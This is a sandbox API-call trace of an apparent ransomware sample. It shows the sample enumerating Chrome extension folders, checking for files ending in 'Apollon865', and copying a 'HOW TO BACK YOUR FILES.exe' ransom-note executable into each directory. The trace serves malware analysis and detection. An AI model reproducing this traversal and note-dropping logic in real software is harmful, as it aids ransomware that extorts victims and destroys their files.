	[0048.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b51d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b51d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.051] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.051] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.051] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.051] lstrlenW (lpString="messages.json") returned 13
	[0048.051] lstrlenW (lpString="Apollon865") returned 10
	[0048.051] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.051] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar"
	[0048.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0048.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0048.051] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar") returned 137
	[0048.051] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar"
	[0048.051] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.051] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.055] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.055] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b77ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b77ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.055] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.055] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.055] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.055] lstrlenW (lpString="messages.json") returned 13
	[0048.055] lstrlenW (lpString="Apollon865") returned 10
	[0048.055] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.055] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda"
	[0048.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a248 | out: hHeap=0x580000) returned 1
	[0048.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0048.056] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda") returned 119
	[0048.056] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda"
	[0048.056] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b77ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b77ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.060] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.060] lstrcpyW (in: lpString1=0x2d3e640, lpString2="1.0.0.2_0" | out: lpString1="1.0.0.2_0") returned="1.0.0.2_0"
	[0048.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0048.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x104) returned 0x5b08e8
	[0048.061] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0048.061] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34b77ef0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34b77ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0048.061] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0048.061] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34b77ef0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34b77ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0048.061] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0048.061] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0048.061] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0"
	[0048.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0048.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0048.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0") returned 129
	[0048.061] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0"
	[0048.061] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.061] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.067] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.067] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b77ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b77ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.067] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.067] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.067] lstrcpyW (in: lpString1=0x2d3e654, lpString2="craw_background.js" | out: lpString1="craw_background.js") returned="craw_background.js"
	[0048.067] lstrlenW (lpString="craw_background.js") returned 18
	[0048.067] lstrlenW (lpString="Apollon865") returned 10
	[0048.067] lstrcmpiW (lpString1="kground.js", lpString2="Apollon865") returned 1
	[0048.067] lstrcpyW (in: lpString1=0x2d3e654, lpString2="craw_window.js" | out: lpString1="craw_window.js") returned="craw_window.js"
	[0048.067] lstrlenW (lpString="craw_window.js") returned 14
	[0048.067] lstrlenW (lpString="Apollon865") returned 10
	[0048.067] lstrcmpiW (lpString1="_window.js", lpString2="Apollon865") returned -1
	[0048.068] lstrcpyW (in: lpString1=0x2d3e654, lpString2="css" | out: lpString1="css") returned="css"
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10c) returned 0x5afa60
	[0048.068] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0048.068] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34b77ef0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34b77ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0048.068] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0048.068] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="html", cAlternateFileName="")) returned 1
	[0048.068] lstrcmpiW (lpString1="html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0048.068] lstrcmpiW (lpString1="html", lpString2="Apollon865.txt.exe") returned 1
	[0048.068] lstrcpyW (in: lpString1=0x2d3e654, lpString2="html" | out: lpString1="html") returned="html"
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10e) returned 0x5afb78
	[0048.068] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0048.068] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0048.068] lstrcmpiW (lpString1="images", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0048.068] lstrcmpiW (lpString1="images", lpString2="Apollon865.txt.exe") returned 1
	[0048.068] lstrcpyW (in: lpString1=0x2d3e654, lpString2="images" | out: lpString1="images") returned="images"
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x112) returned 0x5ba858
	[0048.068] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0048.068] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826545a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e2a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aa3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0048.068] lstrcmpiW (lpString1="manifest.json", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0048.068] lstrcmpiW (lpString1="manifest.json", lpString2="Apollon865.txt.exe") returned 1
	[0048.068] lstrcpyW (in: lpString1=0x2d3e654, lpString2="manifest.json" | out: lpString1="manifest.json") returned="manifest.json"
	[0048.068] lstrlenW (lpString="manifest.json") returned 13
	[0048.068] lstrlenW (lpString="Apollon865") returned 10
	[0048.068] lstrcmpiW (lpString1="ifest.json", lpString2="Apollon865") returned 1
	[0048.068] lstrcpyW (in: lpString1=0x2d3e654, lpString2="_locales" | out: lpString1="_locales") returned="_locales"
	[0048.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0048.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x116) returned 0x5ba980
	[0048.069] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0048.069] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
	[0048.069] lstrcmpiW (lpString1="_metadata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.069] lstrcmpiW (lpString1="_metadata", lpString2="Apollon865.txt.exe") returned -1
	[0048.069] lstrcpyW (in: lpString1=0x2d3e654, lpString2="_metadata" | out: lpString1="_metadata") returned="_metadata"
	[0048.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0048.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x118) returned 0x5baaa8
	[0048.069] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0048.069] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
	[0048.069] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0048.069] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0048.069] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata"
	[0048.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baaa8 | out: hHeap=0x580000) returned 1
	[0048.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0048.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata") returned 139
	[0048.069] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata"
	[0048.069] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.069] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.074] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.074] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b9e050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b9e050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.074] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.074] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.074] lstrcpyW (in: lpString1=0x2d3e668, lpString2="verified_contents.json" | out: lpString1="verified_contents.json") returned="verified_contents.json"
	[0048.074] lstrlenW (lpString="verified_contents.json") returned 22
	[0048.074] lstrlenW (lpString="Apollon865") returned 10
	[0048.074] lstrcmpiW (lpString1="tents.json", lpString2="Apollon865") returned 1
	[0048.074] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales"
	[0048.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba980 | out: hHeap=0x580000) returned 1
	[0048.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0048.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales") returned 138
